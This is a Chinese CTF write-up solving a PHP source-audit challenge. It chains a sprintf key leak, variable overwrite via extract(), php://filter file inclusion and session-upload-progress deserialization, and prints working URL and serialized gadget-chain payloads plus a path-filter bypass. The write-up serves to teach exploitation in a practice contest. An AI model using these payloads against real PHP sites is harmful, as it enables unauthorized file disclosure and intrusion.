ictf_best_language1
ictf_best_language1_writeup¶
第一步、代码审计
这次i春秋举办的ictf是一场以练习为主的ctf竞赛,很多题目还是很不错的,其中这一道源码审计的题目我认为很有意思,涵盖了变量覆盖,反序列化,本地文件包含,以及session.upload_progress.enabled的知识点,是一道很有意思的题目,以下是详细解题过程:
<?php
error_reporting(0);
highlight_file(__FILE__);
include('secret_key.php');
if(!empty($_GET["name"])) {
$arr = array($_GET["name"],$secret_key);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v); //格式化字符串漏洞的(我也不知道是不是叫这个),输入的name为%s就能读取到秘钥 th3_k3y_y0u_cann0t_guess2333
}
echo $data;
}
if( ($secret_key) === $_GET['key']){
echo "you get the key";
$first='aa';
$ccc='amdin';
$i=1;
foreach($_GET as $key => $value) {
if($i===1)
{
$i++;
$$key = $value; //变量覆盖,但是只能覆盖一个,所以我们把first放GET参数第一个,赋值为 u
}
else{break;}
}
if($first==="u")
{
echo "shi fu 666";
$file='phpinfo.php';
$func = $_GET['function'];
call_user_func($func,$_GET); //来个变量覆盖函数 extract 然后把ccc赋值为F1ag 注意:由于后面有include,所以我们还可以改$file参数,可以利用LFI读取到class.php的源码
还有call_user_func函数,第一个是函数名,第二个是传入的参数,但是只能传一个参数,传多个参数使用call_user_func_array
if($ccc==="F1ag")
{
echo "tqltqltqltqltql";
require('class.php');
include($file);
}
}
else
{
echo "Can you hack me?";
}
}
$data = sprintf($data,$v);这一句是有格式化字符串漏洞的(我也不知道是不是叫这个),输入的name为%s就能读取到秘钥 th3_k3y_y0u_cann0t_guess2333$$key = $value;存在变量覆盖漏洞,但是根据上下文只能覆盖一个变量,所以我们把first放GET参数第一个,赋值为 ucall_user_func($func,$_GET);这个地方可以调用函数,由于需要满足后面的if($ccc==="F1ag"),所以我们调用具有变量覆盖漏洞的函数extract(),然后将ccc赋值为F1ag, 其中call_user_func函数,第一个是函数名,第二个是传入的参数,但是只能传一个参数,传多个参数使用call_user_func_array 注意:由于后面有include,所以我们还可以改$file参数,可以利用LFI读取到class.php的源码- 这里都有LFI了,应该可以getshell才对,通过包含:/proc/self/environ 或者日志文件。。。但是都没有权限,甚至/etc/passwd也读不到
由于有require('class.php');的一句,所以我们直接通过php伪协议读取class.php的源码,payload如下:
http://120.55.43.255:13006/?first=u&name=%s&key=th3_k3y_y0u_cann0t_guess2333&function=extract&ccc=F1ag&file=php://filter/read=convert.base64-encode/resource=class.php
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class Monitor {
public $test;
function __construct() {
$this->test ="index.php";
}
function __destruct() {
echo "
file:" .$this->test."
";
}
}
class Welcome {
public $obj;
public $var;
function __construct(){
$this->var='success';
$this->obj=null;
}
function __toString(){
$this->obj->execute();
return $this->var."";
}
}
class Come{
public $method;
public $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));
}
}
function waf($str){
$str=preg_replace("/[<>*;|?\n ]/","",$str);
$str=str_replace('/../','',$str);
$str=str_replace('../','',$str);
return $str;
}
function get_dir($path){
print_r(scandir("/tmp".$path));
}
function execute() {
if (in_array($this->method, array("get_dir"))) {
call_user_func_array(array($this, $this->method), ($this->args)); //call_user_func_array函数第一个参数也是传函数名,而这个传数组就是array($this, $this->method)表示$this::method,第二个参数以数组的形式传入多个参数
}
}
}
?>
ini_set('session.serialize_handler', 'php');,这个显然与session设置有关,由phpinfo()页面知,session.upload_progress.enabled为On。当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据。所以可以通过Session Upload Progress来设置session。
因此我们构造表单
<html>
<head>
<title>upload</title>
</head>
<body>
<form action="http://120.55.43.255:13006/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" />
<input type="file" name="file" />
<input type="submit" />
</form>
</body>
</html>
然后得到http请求头为:
POST /class.php HTTP/1.1 Host: 120.55.43.255:13006 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------57052814523281 Content-Length: 714 Connection: close Cookie: PHPSESSID=6o6k31opf8h9cmeb60mu2gaac1 Upgrade-Insecure-Requests: 1 -----------------------------57052814523281 Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS" 123 -----------------------------57052814523281 Content-Disposition: form-data; name="file"; filename="123" //这个filename就是我们要反序列化的地方 Content-Type: text/plain wewetert -----------------------------57052814523281--
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class Monitor {
public $test;
function __construct() {
$this->test =new Welcome();
}
function __destruct() {
echo "
file:" .$this->test."
";
}
}
class Welcome {
public $obj;
public $var;
function __construct(){
$this->var='{$_GET}';
$this->obj=new Come('get_dir',array('/....//var/www/html'));
}
function __toString(){
$this->obj->execute();
return $this->var."";
}
}
class Come{
public $method;
public $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));
}
}
function waf($str){
$str=preg_replace("/[<>*;|?\n ]/","",$str);
$str=str_replace('/../','',$str);
$str=str_replace('../','',$str);
return $str;
}
function get_dir($path){
print_r(scandir("/tmp".$path));
}
function execute() {
if (in_array($this->method, array("get_dir"))) {
call_user_func_array(array($this, $this->method), ($this->args));
}
}
}
$c = new Monitor();
$d= str_replace('"', '\\"', serialize($c));
var_dump($d);
?>
$this->test =new Welcome();,这个反序列化的利用逻辑就是通过Monitor类的__destruct方法调用到Welcome类的__toString方法,再调用到Come类的execute方法,达到执行函数的目的,其中,execute方法中,由于是$this->method,所以只能调用类的方法,不能随便调用系统函数,也就是get_dir方法。
2. $this->obj=new Come('get_dir',array('/....//var/www/html'));这里主要两点,首先是路径必须以数组的形式传,因为call_user_func_array函数要求传入数组作为参数,其次是绕过waf,这个waf太好绕过了,因为这种利用两个str_replace()的waf,通常可以利用后一个来绕过前一个,所以/....//就会变成/../就可以跳到上一目录了
从而得到payload:
"O:7:\"Monitor\":1:{s:4:\"test\";O:7:\"Welcome\":2:{s:3:\"obj\";O:4:\"Come\":2:{s:6:\"method\";s:7:\"get_dir\";s:4:\"args\";a:1:{i:0;s:19:\"/....//var/www/html\";}}s:3:\"var\";s:7:\"{$_GET}\";}}"
最后说一点,这题目权限给的很低,我当时读取根目录都无法读取,整个系统似乎就/tmp与/var/www/html有读权限,这其实挺坑的。。害得我一度怀疑人生。
有一说一,这个题拿来练习做好不过了,准备等学弟学反序列化了,考考他们(我真过分)。